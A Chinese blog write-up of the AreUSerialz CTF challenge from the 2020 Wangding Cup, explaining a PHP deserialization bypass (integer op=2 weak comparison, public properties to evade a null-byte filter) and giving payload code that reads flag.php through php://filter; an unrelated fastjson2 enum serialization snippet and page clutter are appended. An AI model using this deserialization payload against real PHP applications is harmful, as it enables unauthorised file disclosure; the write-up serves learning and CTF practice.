序列化2之[网鼎杯 2020 青龙组]AreUSerialz1

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct(){
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

这里面的函数通过分析可知:_construct函数可以不管,因为在反序列化时是不会自动调用的,在创建一个新对象时会调用,而_destruct是在销毁一个对象时调用,而PHP中大部分都会自动调用他,这里面说,不能让op==="2",注意是字符2,所以我们可以让op=2,整数2,在process里面是弱比较,可以通成功执行read函数,达到读取flag.php 的目的;然后就是

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这个函数主要是过滤掉protect类的成员在序列化的时候是以%00作为标识符但是在PHP版本大于7.1的情况下,protect类和public类没什么好注意的,所以在构造序列化时改为public可以绕过is_valid函数,构造PHP序列化:


<?php
highlight_file(__FILE__);
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
   public $content;
}

$str = new FileHandler();
echo serialize($str);
?>

这里的filenam用了伪协议吧内容base64加密显示出来,也可以不用,直接flag.php也可以

由于没学过PHP,原来写diamante的时候,类里面只要说明变量即可,就和struct一样; 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
在 fastjson2 中,可以通过以下方式来实现枚举的序列化以及反序列化: 1. 枚举的序列化 枚举类型默认会被序列化为该枚举常量的名称,可以通过实现 fastjson 序列化器接口来自定义枚举的序列化方式。例如,以下是一个将枚举类型序列化为枚举常量值的示例: ```java public class EnumSerializer implements ObjectSerializer { @Override public void write(JSONSerializer serializer, Object object, Object fieldName, Type fieldType, int features) throws IOException { if (object == null) { serializer.getWriter().writeNull(); return; } Enum<?> e = (Enum<?>) object; serializer.getWriter().writeValue(e.ordinal()); } } ``` 然后,在序列化时,可以将该序列化器指定给需要自定义序列化的枚举类型,例如: ```java SerializeConfig config = new SerializeConfig(); config.put(MyEnum.class, new EnumSerializer()); String json = JSON.toJSONString(myEnum, config); ``` 2. 枚举的反序列化 fastjson2 默认会将枚举类型反序列化为该枚举常量的名称,可以通过实现 fastjson 反序列化器接口来自定义枚举的反序列化方式。例如,以下是一个将枚举类型反序列化为枚举常量值的示例: ```java public class EnumDeserializer implements ObjectDeserializer { @Override public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { JSONObject jsonObject = parser.parseObject(); int ordinal = jsonObject.getIntValue("ordinal"); return (T) MyEnum.values()[ordinal]; } @Override public int getFastMatchToken() { return JSONToken.LBRACE; } } ``` 然后,在反序列化时,可以将该反序列化器指定给需要自定义反序列化的枚举类型,例如: ```java ParserConfig config = new ParserConfig(); config.putDeserializer(MyEnum.class, new EnumDeserializer()); MyEnum myEnum = JSON.parseObject(json, MyEnum.class, config); ``` 这样就可以实现枚举类型的自定义序列化以及反序列化了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值